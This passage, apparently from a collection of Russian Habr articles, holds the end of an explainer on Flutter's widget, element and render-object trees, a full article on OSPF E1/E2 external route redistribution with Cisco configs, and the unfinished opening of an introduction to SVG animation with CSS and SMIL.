Один и тот же виджет может быть включен в дерево виджетов множество раз, или вовсе не быть включенным. Но каждый раз, когда виджет включается в дерево виджетов, ему сопоставляется элемент.
Итак, на данном этапе с виджетами почти покончено, давайте подведем итоги:
* виджет — центральный класс иерархии;
* виджет — это некоторая конфигурация;
* виджет — неизменяемое описание части пользовательского интерфейса;
* виджет связан с элементом, который некоторым образом управляет рендерингом;
* изменяемое состояние виджета может быть описано некоторой сущностью, но связано оно не с виджетом, а с элементом, который представляет этот виджет.
Element
-------
Из того, что мы узнали, напрашивается вопрос «Что это за элементы такие, которые всем управляют?» Поступим аналогичным образом — откроем документацию класса Element.
> An instantiation of a [Widget] at a particular location in the tree.
Элемент — некоторое представление виджета в определенном месте дерева.
> Widgets describe how to configure a subtree but the same widget can be used to configure multiple subtrees simultaneously because widgets are immutable. An [Element] represents the use of a widget to configure a specific location in the tree. Over time, the widget associated with a given element can change, for example, if the parent widget rebuilds and creates a new widget for this location.
Виджет описывает конфигурацию некоторой части пользовательского интерфейса, но как мы уже знаем, один и тот же виджет может использоваться в разных местах дерева. Каждое такое место будет представлено соответствующим элементом. Но со временем, виджет, который связан с элементом может поменяться. Это означает, что элементы более живучие и продолжают использоваться, лишь обновляя свои связи.
Это довольно рациональное решение. Как мы уже определили выше, виджеты — неизменяемая конфигурация, которая просто описывает определенную часть интерфейса, а значит они должны быть очень легковесными. А элементы, в зоне которых управление, являются намного более тяжеловесными, но они не пересоздаются без надобности.
Чтобы понять каким образом это осуществляется, рассмотрим жизненный цикл элемента:
* Элемент создаётся посредством вызова метода Widget.createElement и конфигурируется экземпляром виджета, у которого был вызван метод.
* С помощью метода mount созданный элемент добавляется в заданную позицию родительского элемента. При вызове данного метода также ассоциируются дочерние виджеты и элементам сопоставляются объекты дерева рендеринга.
* Виджет становится активным и должен появиться на экране.
* В случае изменения виджета, связанного с элементом (например, если родительский элемент изменился), есть несколько вариантов развития событий. Если новый виджет имеет такой же runtimeType и key, то элемент связывается с ним. В противном случае, текущий элемент удаляется из дерева, а для нового виджета создаётся и ассоциируется с ним новый элемент.
* В случае, если родительский элемент решит удалить дочерний элемент, или промежуточный между ними, это приведет к удалению объекта рендеринга и переместит данный элемент в список неактивных, что приведет к деактивации элемента (вызов метода deactivate).
* Когда элемент считается неактивным, он не находится на экране. Элемент может находиться в неактивном состоянии только до конца текущего фрейма, если за это время он остается неактивным, он демонтируется (unmount), после этого считается несуществующим и больше не будет включен в дерево.
* При повторном включении в дерево элементов, например, если элемент или его предки имеют глобальный ключ, он будет удален из списка неактивных элементов, будет вызван метод activate, и рендер объект, сопоставленный данному элементу, снова будет встроен в дерево рендеринга. Это означает, что элемент должен снова появиться на экране.
В объявлении класса мы видим, что элемент имплементирует BuildContext интерфейс. BuildContext — это нечто, что управляет позицией виджета в дереве виджетов, как следует из его документации. Почти в точности совпадает с описанием элемента. Данный интерфейс используется, чтобы избежать прямого манипулирования элементом, но при этом дать доступ к необходимым методам контекста. Например, findRenderObject, который позволит найти объект дерева рендера, соответствующий данному элементу.
RenderObject
------------
Осталось разобраться с последним звеном данной триады — **RenderObject**. Как следует из названия — это объект дерева визуализации. У него есть родительский объект, а также поле с данными, которое родительский объект использует для хранения специфичной информации, касающейся самого этого объекта, например, его позицию. Данный объект отвечает за реализацию базовых протоколов отрисовки и расположения.
RenderObject не ограничивает модель использования дочерних объектов: их может не быть, может быть один или множество. Также не ограничивается система позиционирования: картезианская система, полярные координаты, всё это и многое другое доступно для использования. Нет ограничений и на использование протоколов расположения: подстройка по ширине или высоте, ограничение размера, задание размеров и расположения родителем или при необходимости использование данных родительского объекта.
Картина мира Flutter
--------------------
Попытаемся построить общую картину, как всё работает вместе.
Мы уже отметили выше, виджет — это неизменяемое описание, но пользовательский интерфейс совсем не статичен. Убирается данное несоответствие разделением на 3 уровня объектов и разделение зон ответственности.
* Дерево виджетов, в зону ответственности которого относится декларирование конфигураций и хранение свойств.
* Дерево элементов, которые управляют жизненным циклом и связывают виджеты в некоторую иерархию и объекты рендеринга с ними.
* Дерево объектов визуализации, ответственность которых — отрисовка, учет размеров положения и ограничений.
Рассмотрим, как выглядят данные деревья на простом примере:
В данном случае мы имеем некоторый StatelessWidget, обёрнутый в виджет Padding и содержащий внутри текст.
Давайте поставим себя на место Flutter — нам дали данное дерево виджетов.
Flutter: *«Эй, Padding, мне нужен твой элемент»*
Padding: *«Конечно, держи SingleChildRenderObjectElement»*
Flutter: *«Элемент, вот твое место, располагайся»*
SingleChildRenderObjectElement: *«Ребят, все ок, но мне нужен RenderObject»*
Flutter: *«Padding, как тебя вообще отрисовывать?»*
Padding: *«Держи, RenderPadding»*
SingleChildRenderObjectElement: *«Отлично, приступаю к работе»*
Flutter: *«Так, кто там следующий? StatelessWidget, теперь ты давай элемент»*
StatelessWidget: *«Вот StatelessElement»*
Flutter: *«StatelessElement, ты будешь в подчинении у SingleChildRenderObjectElement, вот место, приступай»*
StatelessElement: *«Ок»*
Flutter: *«RichText, элементик предъявите, пожалуйста»*
RichText отдает MultiChildRenderObjectElement
Flutter: *«MultiChildRenderObjectElement, вот твоё место, приступай»*
MultiChildRenderObjectElement: *«Мне для работы нужен рендер»*
Flutter: *«RichText, нам нужен рендер объект»*
RichText: *«Вот RenderParagraph»*
Flutter: *«RenderParagraph будешь получать указания RenderPadding, а контролировать тебя будет MultiChildRenderObjectElement»*
MultiChildRenderObjectElement: *«Теперь всё ок, я готов»*
Наверняка вы зададите закономерный вопрос: «А где объект рендеринга для StatelessWidget, почему его нет, мы же выше определились, что элементы связывают конфигурации с отображением?» Обратим внимание на базовую реализацию метода mount, про который шла речь в этом пункте описания жизненного цикла.
```
void mount(Element parent, dynamic newSlot) {
assert(_debugLifecycleState == _ElementLifecycle.initial);
assert(widget != null);
assert(_parent == null);
assert(parent == null || parent._debugLifecycleState == _ElementLifecycle.active);
assert(slot == null);
assert(depth == null);
assert(!_active);
_parent = parent;
_slot = newSlot;
_depth = _parent != null ? _parent.depth + 1 : 1;
_active = true;
if (parent != null)
_owner = parent.owner;
if (widget.key is GlobalKey) {
final GlobalKey key = widget.key;
key._register(this);
}
_updateInheritance();
assert(() {
_debugLifecycleState = _ElementLifecycle.active;
return true;
}());
}
```
Мы не увидим в нём создания объекта рендеринга. Но элемент имплементирует BuildContext, в котором есть метод поиска объекта визуализации findRenderObject, который приведёт нас к следующему геттеру:
```
RenderObject get renderObject {
RenderObject result;
void visit(Element element) {
assert(result == null);
if (element is RenderObjectElement)
result = element.renderObject;
else
element.visitChildren(visit);
}
visit(this);
return result;
}
```
В базовом случае элемент может не создавать объект рендеринга, это обязаны делать только RenderObjectElement и его наследники, однако в таком случае у элемента на каком-то из уровней вложенности обязательно должен быть дочерний элемент, имеющий объект рендеринга.
Казалось бы зачем все эти сложности. Целых 3 дерева, разные зоны ответственности и т.д. Ответ довольно прост — именно на этом строится производительность Flutter. Виджеты неизменяемые конфигурации, поэтому довольно часто пересоздаются, но при этом они довольно лёгкие, что не сказывается на производительности. А вот тяжелые элементы Flutter пытается максимально переиспользовать.
Рассмотрим на примере.
*Текст посередине экрана. Код в данном случае будет выглядеть примерно так:*
```
body: Center(
child: Text(“Hello world!”)
),
```
В данном случае дерево виджетов будет выглядеть следующим образом:
После того, как Flutter построит все 3 дерева, мы получим следующую картину:
Что же произойдет, если у нас изменится текст, который мы собираемся отобразить?
У нас теперь есть новое дерево виджетов. Выше мы говорили про максимально возможное переиспользование элементов. Взглянем на метод класса Widget, под говорящим названием *canUpdate*.
```
static bool canUpdate(Widget oldWidget, Widget newWidget) {
return oldWidget.runtimeType == newWidget.runtimeType && oldWidget.key == newWidget.key;
}
```
Мы проверяем тип предыдущего виджета и нового, а также их ключи. Если они одинаковы, то нет необходимости менять элемент.
Итак, до обновления первый элемент это Center, после обновления также Center. У обоих нет ключей, полное совпадение. Можем обновить ссылку элемента на новый виджет.
Но помимо типа и ключа, виджет же является описанием и конфигурацией, и значения параметров, которые необходимы для отображения могли поменяться. Именно поэтому элемент после того, как обновил ссылку на виджет, должен инициировать обновления объекта рендеринга. В случае Center ничего не поменялось, и мы продолжаем сравнивать дальше.
И снова тип и ключ говорят нам о том, что нет смысла пересоздавать элемент. Текст является наследником StatelessWidget, у него нет прямого объекта отображения.
Переходи к RichText. Виджет также не поменял свой тип, по ключам нет расхождений. Элемент обновляет свою связь с новым виджетом.
Связь обновлена, осталось лишь актуализировать свойства. В результате RenderParagraph отобразит новое значение текста.
И как только подойдёт время следующего фрейма отрисовки, мы увидим ожидаемый нами результат.
Благодаря подобной работе и достигается такая высокая производительность Flutter.
Пример выше описывает случай, когда не изменилась сама структура виджетов. Но что же произойдет, если структура будет меняться? Flutter, конечно же, продолжит пытаться максимально использовать уже имеющиеся объекты, как мы поняли из описания жизненного цикла, но для всех новых виджетов будут созданы новые элементы, а старые и более ненужные будут в конце кадра удалены.
Рассмотрим пару примеров. И для того, чтобы удостовериться в вышесказанном используем инструмент Android Studio — Flutter Inspector.
```
@override
Widget build(BuildContext context) {
return Scaffold(
body: Center(
child: _isFirst ? first() : second(),
),
floatingActionButton: FloatingActionButton(
child: Text("Switch"),
onPressed: () {
setState(() {
_isFirst = !_isFirst;
});
},
),
);
}
Widget first() => Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(
"test",
style: TextStyle(fontSize: 25),
),
SizedBox(
width: 5,
),
Icon(
Icons.error,
),
],
);
Widget second() => Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(
"one more test",
style: TextStyle(fontSize: 25),
),
Padding(
padding: EdgeInsets.only(left: 5),
),
Icon(
Icons.error,
),
],
);
```
В данном случае по нажатии на кнопку один из виджетов поменяется. Посмотрим, что покажет нам инспектор.
Как мы видим, Flutter пересоздал рендер только для Padding, остальные просто переиспользовал.
Рассмотри ещё 1 вариант, в котором структура поменяется более глобальным образом — поменяем уровни вложенности.
```
Widget second() => Container(child: first(),);
```
Несмотря на то, что визуально дерево совершенно не поменялось, были пересозданы элементы и объекты дерева рендеринга. Это произошло, потому что Flutter сравнивает по уровням (в данном случае неважно, что большая часть дерева не изменилась), отсеивание этой части прошло на момент сравнения Container и Row. Однако из этой ситуации можно выкрутиться. В этом нам помогут GlobalKey. Добавим такой ключ для Row.
```
var _key = GlobalKey(debugLabel: "testLabel");
Widget first() => Row(
key: _key,
…
);
```
Как только мы сообщили Flutter о том, что часть можно переиспользовать, он с удовольствием воспользовался возможностью.
Вывод
-----
Мы чуть ближе познакомились с магией Flutter и теперь знаем, что она не только в виджетах.
Flutter — продуманный до мелочей слаженный механизм со своей иерархией, зонами ответственности, при помощи которого можно создавать не только красивые, но и одновременно производительные приложения. Конечно, мы разобрали всего лишь малую, хоть и довольно важную часть его устройства, поэтому продолжим разбирать различные аспекты внутренней работы фреймворка в дальнейших статьях. А пока можете прочитать [статью со сравнением Flutter и React Native](https://surf.ru/flutter-vs-react-native-chto-vybrat-dlya-vashego-mobilnogo-prilozheniya/), в которой мы сравнили основные характеристики этих фреймворков.
Я надеюсь, что информация из этой статьи полезна для понимания, как Flutter работает внутри и поможет находить изящные и производительные решения во время разработки.
Спасибо за внимание!
#### Ресурсы
*Flutter*
*«How Flutter renders Widgets» Andrew Fitz Gibbon, Matt Sullivan* | https://habr.com/ru/post/501862/ | null | ru | null |
# Особенности работы External Type 1 и External Type 2 маршрутов в OSPF. Часть 1
У практически любого сетевого инженера, рано или поздно наступает момент в жизни когда в его сети появляются домены маршрутизации отличные от любимого OSPF, EIGRP или IS-IS. Чаще всего это связано со слиянием двух сетей, но иногда может быть связано с модернизацией или редизайном. Одним словом, необходимость делать редистрибуцию маршрутов из одного протокола маршрутизации в другой возникает не так уж и редко. В случае с OSPF, эти маршруты появляются в таблице маршрутизации под меткой E1 (External Type 1) и E2 (Externel Type 2) маршрутов. Обычно учебные материалы Cisco говорят о том, что основное отличие этих двух маршрутов заключается в том, что при расчете метрики для Е1 маршрута используется общая метрика для всего пути, а для Е2 маршрута только стоимость редистрибуции. Попытаемся разобраться, что это значит и как это работает.
Для иллюстрации будем использовать следующую сетевую топологию:
Для данной схемы настроим редистрибуцию между OSPF и EIGRP, и посмотрим как будет вести себя префикс Loopback0 маршрутизатора R6, на R1.
Для начала настроим редистрибуцию на пограничных маршрутизаторах R4 и R5:
**R4:**
`router eigrp 100
redistribute ospf 1 metric 1 1 1 1 1
network 192.168.0.0
auto-summary
eigrp router-id 4.4.4.4
!
router ospf 1
router-id 4.4.4.4
log-adjacency-changes
redistribute eigrp 100 subnets`
**R5:**
`router eigrp 100
redistribute ospf 1 metric 1 1 1 1 1
network 192.168.0.0
no auto-summary
eigrp router-id 5.5.5.5
!
router ospf 1
router-id 5.5.5.5
log-adjacency-changes
redistribute eigrp 100 subnets`
Теперь проверим маршрут к 6.6.6.6 на маршрутизаторе R1:
`R1#sh ip route
Gateway of last resort is not set
6.0.0.0/32 is subnetted, 1 subnets
O E2 6.6.6.6 [110/20] via 10.0.2.2, 00:12:38, FastEthernet1/0
[110/20] via 10.0.1.2, 00:12:38, FastEthernet0/0
10.0.0.0/24 is subnetted, 4 subnets
C 10.0.2.0 is directly connected, FastEthernet1/0
O IA 10.0.3.0 [110/2] via 10.0.1.2, 01:06:39, FastEthernet0/0
C 10.0.1.0 is directly connected, FastEthernet0/0
O IA 10.0.4.0 [110/2] via 10.0.2.2, 01:06:39, FastEthernet1/0
O E2 192.168.0.0/24 [110/20] via 10.0.2.2, 00:57:06, FastEthernet1/0
[110/20] via 10.0.1.2, 00:57:06, FastEthernet0/0
R1#sh ip route 6.6.6.6
Routing entry for 6.6.6.6/32
Known via "ospf 1", distance 110, metric 20, type extern 2, forward metric 2
Last update from 10.0.2.2 on FastEthernet1/0, 00:12:53 ago
Routing Descriptor Blocks:
10.0.2.2, from 5.5.5.5, 00:12:53 ago, via FastEthernet1/0
Route metric is 20, traffic share count is 1
* 10.0.1.2, from 4.4.4.4, 00:12:53 ago, via FastEthernet0/0
Route metric is 20, traffic share count is 1`
Таким образом маршрутизатор R1 знает, что у него есть 2 пути для того чтобы достичь адреса 6.6.6.6: сначала до ASBR (R4 и R5) и метрика для этого участка будет равна 2 (значение forward metric), а дальше через EIGRP домен, до R6, который имеет интерфейс 6.6.6.6 и метрика для этого участка будет равна 20 (значение metric, является метрикой по умолчанию). Поскольку этот маршрут является E2 маршрутом то эти значения не складываются, а используется только метрика объявляемая из внешней сети, она же метрика редистрибуции. Так как оба маршрута имеют одинаковую метрику, то они оба были установлены в таблицу маршрутизации.
Настроим теперь редистрибуцию так, чтобы один из маршрутов приходил как Е1 маршрут, с метрикой 100.
`R4(config)#router ospf 1
R4(config-router)#redistribute eigrp 100 subnets metric-type 1 metric 100`
И проверим таблицу маршрутизации на R1:
`R1#sh ip route
Gateway of last resort is not set
6.0.0.0/32 is subnetted, 1 subnets
O E1 6.6.6.6 [110/102] via 10.0.1.2, 00:01:18, FastEthernet0/0
10.0.0.0/24 is subnetted, 4 subnets
C 10.0.2.0 is directly connected, FastEthernet1/0
O IA 10.0.3.0 [110/2] via 10.0.1.2, 01:43:27, FastEthernet0/0
C 10.0.1.0 is directly connected, FastEthernet0/0
O IA 10.0.4.0 [110/2] via 10.0.2.2, 01:43:27, FastEthernet1/0
O E1 192.168.0.0/24 [110/22] via 10.0.1.2, 00:01:18, FastEthernet0/0
R1#sh ip route 6.6.6.6
Routing entry for 6.6.6.6/32
Known via "ospf 1", distance 110, metric 102, type extern 1
Last update from 10.0.1.2 on FastEthernet0/0, 00:02:13 ago
Routing Descriptor Blocks:
* 10.0.1.2, from 4.4.4.4, 00:02:13 ago, via FastEthernet0/0
Route metric is 22, traffic share count is 1`
Как видим, на маршрутизаторе в таблицу маршрутизации установлен только один маршрут. Обратим внимание на метрику равную 102 (установленная метрика 100 + стоимость линков до R4). При том, что второй маршрут приходит со значением metric равным 20, он, тем не менее, не попал в таблицу маршрутизации.
Дело в том, что при выборе маршрута Е1 имеет приоритет перед Е2 маршрутами. Вообще таблица приоритетов имеет следующий вид:
* Intra-Area (O)
* Inter-Area (O IA)
* External Type 1 (E1)
* External Type 2 (E2)
* NSSA Type 1 (N1)
* NSSA Type 2 (N2)
Не зависимо от административной дистанции и метрики, OSPF всегда будет выбирать более приоритетный маршрут из этого списка.
В [части 2](http://habrahabr.ru/blogs/cisconetworks/117110/) я попробую рассказать, что происходит, когда приходят Е2 маршруты с одинаковыми значениями метрики, но разной ценой линков до ASBR. | https://habr.com/ru/post/117099/ | null | ru | null |
# Введение в SVG-анимации для верстальщиков
Время идет, технологии меняются, набитые шишки копятся, настала пора обновить материалы по SVG-анимациям. Тем более, что тема для многих фронтендеров все еще остается странной и запутанной. В этой статье мы рассмотрим SVG-анимации с разных сторон, посмотрим на актуальное состояние дел, возможности и сопутствующие инструменты. Мы не будем разбирать каждое свойство и каждый хак. Слишком большой объем материала получится. Для этого есть MDN и ему подобные сайты. Задача текущей статьи — дать общее представление о том, что бывает, и от чего можно оттолкнуться, если вы решили изучать эту тему, а у вас полная каша в голове.
SVG в контексте фронтенда существует уже довольно давно. Можно даже сказать, что "оно было всегда". Хотя еще несколько лет назад мало кто активно использовал SVG в контексте интерфейсов, каких-то визуальных эффектов, анимаций и.т.д. В основном все крутилось вокруг векторных иконок. Это было время, когда люди вообще еще плохо понимали, как верстать что-то нестандартное, в JS еще не было классов, а проблемы кроссбраузерности стояли очень остро. Тогда на CodePen можно было выложить простой пример с каким-то техническим приемом использования того или иного инструмента и он моментально расходился в народе — все учились делать такую же фишку. Эх, вот были времена! Но ничего не стоит на месте, flash закончился, IE переобулся, направление креативной верстки более-менее устаканивается на новом стеке, и мы можем собрать какие-то списки типовых штук, которые хорошо уметь делать. Текущий материал будет полностью посвящен одной из тем — анимированию SVG во фронтенде. Посмотрим, какие есть варианты анимирования, какие возможности самого формата часто применяются, и какие есть вспомогательные инструменты.
> Сразу небольшой дисклеймер. Мы не будем затрагивать вопросы UI/UX. Только техническую сторону, как можно реализовать функционал в коде. Так что если вы считаете, что анимации во фронтенде не нужны, что ими порой злоупотребляют, то можно не писать об этом в комментариях. Проблема такая есть, но к теме статьи не относится. Возможно мы ее затронем в будущем.
А теперь приступим.
Векторная графика = инструкции по рисованию
-------------------------------------------
Надеюсь все читатели знакомы с самим понятием векторной графики. Сложно с ним не столкнуться во фронтенде. Но кратко напомню, что у нас есть растровые картинки, где мы имеем прямоугольную сетку пикселей фиксированного размера и числами задаем цвет каждого пикселя, и векторные картинки, в которых мы человеческими словами описываем, что на ней нарисовано. Грубо. Неакадемично. Но на пальцах примерно так все это и работает.
Для того, чтобы описывать содержимое SVG-картинки есть свой синтаксис, очень похожий на HTML: теги, атрибуты — все как всегда. Собственно XML-основа у них одна и та же. Как мы потом увидим — можно вставлять одно в другое. Например вот так мы описываем, что на картинке есть четыре круга с определенными координатами, радиусом и цветом:
```
```
В целом по степени читаемости очищенный от мусора SVG код сравним с HTML. Тут можно организовать все элементы в группы, сделать осмысленные id, классы "как в БЭМ", и.т.д.
Более подробно со списками тегов и атрибутов можно познакомиться на MDN. Там слишком много всего, чтобы описывать каждый момент в рамках статьи — <https://developer.mozilla.org/en-US/docs/Web/SVG>. Мы же сосредоточимся на практической стороне вопроса, и посмотрим, а как этот теоретический функционал вписывается в реальность.
Интегрируем SVG в страницу
--------------------------
Но для начала нужно интегрировать SVG в страницу. Мы не в вакууме работаем. И есть два направления, как это можно сделать. Первое — код SVG можно вставить прямо в HTML.
```
```
Вы можете спросить: а это получается, что можно использовать CSS и JS и работать с SVG-элементами так же, как и с любыми другими элементами на странице? — Да. Именно так. Правда с некоторыми оговорками. Иногда внутри SVG что-то все же будет работать не так, как на остальной странице. К этому еще вернемся. Такой подход в контексте анимаций удобен прежде всего тем, что мы можем все контролировать: мы можем легко связать любые события и любые стили на странице с тем, что происходит в SVG, так как это та же самая страница.
Разумеется, есть инструменты для любых сборщиков, которые подставляют код SVG картинок в нужные места страниц при их сборке, так что можно работать с картинками как с отдельными файлами, а на выходе иметь все в одном. Они гуглятся на любой вкус и цвет по запросу "название сборщика + inline svg". А многие шаблонизаторы и сами все умеют, ничего дополнительно прикручивать не нужно.
> Важный момент: при вставке SVG-картинок в страницу, они все попадают в одну область видимости. Если мы используем id в них, то будет шанс, что они продублируются и начнется магия. За этим стоит следить при подготовке картинок к анимированию и добавлять какие-то префиксы к id. Или придумывать что-то с shadow DOM, чтобы все изолировать. Тут уже все в зависимости от процессов в проекте.
Второй вариант — использовать SVG как отдельный файл. Это может быть картинка
```
```
А может быть и не картинка. Можно вставить SVG с помощью тегов object или даже iframe. Она может быть и фоном в CSS. Но во всех этих случаях речь будет идти про сторонний файл. Отдельный от нашей страницы. И доступ к нему будет в любом случае урезанным.
В нашем контексте, как вы уже, наверное, предположили, сложно связать происходящее в стороннем файле с событиями на странице. Нельзя просто так в него залезть из скриптов или из CSS и что-то сделать. Всегда будут какие-то ограничения. Плюс у браузеров есть вопросы по части безопасности использования скриптов и растровых картинок в сторонних SVG файлах. И, как мы увидим в дальнейшем, иногда нужно буквально перезагрузить картинку по сети, чтобы анимация в ней перезапустилась. Это делает работу со сторонними файлами довольно неудобной во многих ситуациях. Мы в примерах будем использовать первый подход.
> Стоит помнить, что в контексте SPA никто не мешает загружать большие SVG скриптами и подставлять их код в HTML по мере необходимости. Так можно совместить лучшее из обоих миров — маленький изначальный HTML и полный доступ ко всему внутри SVG в конечном счете.
CSS + SMIL + JS
---------------
Вся суть анимирования SVG сводится к плавным изменениям значений атрибутов у тегов. Время идет — атрибуты меняются. Вот и вся анимация. Всем спасибо, увидимся в следующий раз.
На этом можно было бы и закончить, но мы раскроем тему неного шире, т.к. определенно есть люди, которым это будет полезно. В контексте фронтенда есть три технологии, которые дают нам возможность анимировать SVG: CSS, JS и SMIL. У каждой есть свои возможности и ограничения, так что мы познакомимся со всеми.
### Анимирование SVG с помощью CSS
CSS-анимации — это самый простой вариант. Все мы с ними работали в "обычной" верстке. Они хорошо подходят для простых движений или изменений цвета элементов на :hover/:focus. Или по навешиванию классов-состояний. В основном в контексте SVG они используются именно для иконок или каких-то небольших деталей в элементах интерфейса. Там как раз что-то такое незамысловатое обычно и нужно. Простая задача — простой инструмент.
В CSS у нас есть два варианта анимирования свойств элементов — transition и keyframes. Если вы не знаете, что такое transition и keyframes, то лучше притормозить, сходить на MDN и почитать про них — [раз](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions) и [два](https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes).
В целом логика работы CSS-анимаций в контексте SVG принципиально не отличается от HTML, просто добавляются специфичные для SVG свойства у элементов.
> Как и в случае с HTML, в SVG не все атрибуты являются анимируемыми со стороны CSS, поэтому упомянутые выше технологии для анимирования SVG не являются полностью взаимозаменяемыми даже в условно простых задачах. Хотя если большую часть времени придерживаться стандартной для CSS логики "меняем только transform и opacity", то можно этого и не заметить.
Но есть нюанс. На самом деле в обсуждениях и черновиках W3C по поводу интегрирования CSS анимаций и SVG было много самых разных вопросов, но этот конкретный момент особенно важен в нашем контексте. В мире CSS и в мире SVG есть штуки, которые по сути дублируют друг друга, но в деталях поведение отличается. И браузеры пытаются все как-то между собой состыковать. Причем на деле каждый это делает по-своему, в соответствии со своими тараканами в голове. Чтобы уменьшить количество нестыковок, хорошо использовать атрибут xmlns:
```
...
```
Формально по стандарту это делать не обязательно, все будет работать и без него, но по факту — порой такая мелочь сильно упрощает работу, отключая некоторые особо умные оптимизации браузеров. Но это не серебряная пуля. У нас на сегодняшний день нет 100% рабочего способа сказать всем браузерам, что вот этот код должен исполняться в соответствии с логикой мира CSS, а вот тот код — в соответствии с логикой мира SVG.
Поначалу ломают мозг новые единицы измерения. Точнее безразмерные координаты в SVG, которые добавляются к привычным единицам измерения в CSS. Но к этому быстро привыкаешь. Это не проблема. Действительно хороший пример такой двойственности, который путает новичков в анимировании — это трансформации. Да и не только новичков он путает. Создатели стандартов до сих пор не могут определиться со всеми деталями, хотя уже лет десять обсуждают, если не больше. В CSS есть transform, и в SVG есть transform. И там, и там, есть набор базовых трансформаций — translate, rotate, scale и skew. И интуитивно кажется, что все там должно работать одинаково, не так ли?
Здесь есть два основных вопроса. Первый состоит в том, что transform-origin в мире SVG всегда находится в координатах [0,0] всей координатной плоскости картинки. Не самого элемента, к которому трансформация применяется, а именно всей плоскости. Соответственно для поворота какого-то элемента в SVG сцене вокруг произвольной точки, нужно все сдвинуть в центр координат, совместив точку с ним, повернуть, и потом сдвинуть обратно. Если вы хоть немного касались области компьютерной графики, то, вероятно, видели нечно похожее, только другими словами, а вот для простых верстальщиков эта концепция оказывается чем-то новым и непонятным. В CSS все это скрыто от наших глаз:
Некоторые браузеры могут применить transform-origin из мира CSS, считая его более приоритетным, и на первый взгляд покажется, что все ок. Но другие браузеры этого делать не будут, и там все будет не ок.
И еще трансформации на SVG-элементах складываются в стек. Можно несколько раз применить к элементу одни и те же трансформации. Подвинуть, повернуть, еще подвинуть, еще повернуть, и.т.д. А потом они применяются в обратном порядке. А CSS так не умеет. Там можно применить только по одной трансформации каждого базового типа к элементу. Иногда это приводит к странному поведению элементов, так что нужно быть внимательным с этой нестыковкой и не нагромождать разную логику трансформаций на один элемент.
> В целом можно вынести мораль: если какие-то штуки в мире CSS и в мире SVG выглядят одинаково, и в каких-то черновиках W3C написано, что они по идее должны работать одинаково — это еще не значит, что они на самом деле в реальных браузерах работают одинаково. Тут нужно быть аккуратным и проверять все не только в Chrome.
Инструменты для отладки CSS анимаций в браузерах работают с SVG. Если нужно отладить движения, замедлить, покрутить анимацию туда-сюда — все есть:
Но вот если что-то не работает, то пользы от этих инструментов практически никакой. Они не могут сказать, где именно что-то пошло не так, если в коде анимация есть, а по факту на странице ничего не меняется.
К сожалению, из-за таких вот противоречий и недостаточно умных инструментов для отладки, часто приходится делать все максимально топорно, чтобы наш код на самом деле работал везде, а его написание не занимало кучу времени. Но это касается именно пересекающихся вещей из мира CSS и мира SVG и сопутствующих им конфликтов. С вещами, которые не пересекаются, все в целом хорошо.
Анимирование SVG с помощью SMIL
-------------------------------
Но будем двигаться дальше, чтобы составить общую картину. На очереди SMIL. Это очень древняя, занятная, но в то же время очень спорная технология, которая развивалась скорее вместе с самим форматом SVG где-то там в вакууме, чем в контексте фронтенда и браузеров. Если в двух словах, то там есть набор специальных тегов и атрибутов, с помощью которых можно описывать анимации. Прямо как структуру страницы делаем с помощью дерева тегов — таким же образом и движения задаем.
> SMIL описывается в отдельной от SVG спецификации, так что если вы пользуетесь W3C-валидатором, то не забывайте выбирать, на какие документы из списка document type ему нужно ориентироваться. Если не указать, то будет много ложных сообщений об ошибках из-за "несуществующих" тегов и атрибутов.
Основных тегов здесь три:
1. [animate](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/animate) — для плавных изменений значений атрибутов.
2. [animateTransform](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/animateTransform) — по сути то же самое, но только для трансформаций.
3. [animateMotion](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/animateMotion) — для движения объектов по кривым.
Еще есть тег set, с помощью которого можно резко заменить какое-то значение на другое. Это не совсем про анимации, но такое тоже есть.
Наличие в каком-то смысле дублирующих друг друга тегов animate и animateTransform, а еще устаревшего animateColor, само по себе намекает на то, что технология прошла долгий и тернистый путь в своем развитии, и содержит в себе то наследие из времен, когда flash был жив. Но несмотря на это использовать SMIL в простых задачах не так уж и сложно, разве что копипасты обычно получается довольно много:
Мы не будем здесь разбирать все возможные атрибуты у этих тегов, если кому-то интересно, то есть хорошее введение в SMIL на CSS-tricks: <https://css-tricks.com/guide-svg-animations-smil/>.
Если обобщить, то можно делать:
* Все то же, что и в CSS.
* Морфинг — изменение формы кривых.
* Движения по заготовленным траекториям, как в примере выше.
* Плюс есть встроенный механизм синхронизации времени начала анимаций. Можно время начала одной анимации задать в какой-то зависимости от времени начала или завершения другой анимации. Это действительно удобно в ситуациях, когда в сцене много движений связаны какой-то логикой.
Еще там есть пользовательские события, вроде клика мышкой. По сравнению с CSS возможностей больше, но по сравнению с тем, что можно сделать с помощью JS, набор сильно урезанный и не особо практичный, если уж все по-честному сравнивать. Но есть, и хорошо.
Идея всего этого сама по себе была неплохая. Но что-то пошло не так. Я не знаю всех деталей, думаю никто не знает, но технология долго находилась в каком-то непонятно-экспериментальном статусе и сдохла несколько лет назад. Тогда ее не поддерживал IE, в Firefox и Safari была куча проблем, в Chrome вроде что-то было, но стало deprecated. Появились рекомендации от разработчиков разных браузеров на тему перехода со SMIL на CSS или JS. Многие пророчили, что SMIL отправится по пути flash на свалку истории. А потом все забили. А потом IE превратился в Edge, Edge сменил движок, и внезапно оказалось, что SMIL “работает” во всех вечнозеленых браузерах. Вечнозеленый зомби, если можно так сказать.
На сегодняшний день SMIL вроде как бы действительно работает. Так что использовать можно. Но технология не развивается. Соответственно есть много вопросов по практическому использованию.
Во-первых — это кроссбраузерность. Технология, конечно, работает, но проблемы на этом поле никто не исправляет. Например не все браузеры умеют использовать значения больше 1 в кривых Безье. Да, в 2022 году. И таких глупостей там предостаточно. И есть большой затык в том, что инструменты разработчика в этих самых браузерах тоже не имеют нормальной связи с этой технологией. У нас даже нет адекватных линтеров, а от формального W3C-валидатора пользы не очень то и много. Поэтому отладка порой становится очень болезненной — нужно заранее знать, куда смотреть, и высматривать ошибки глазами в коде. Это занятие очень на любителя, особенно в крупных сценах.
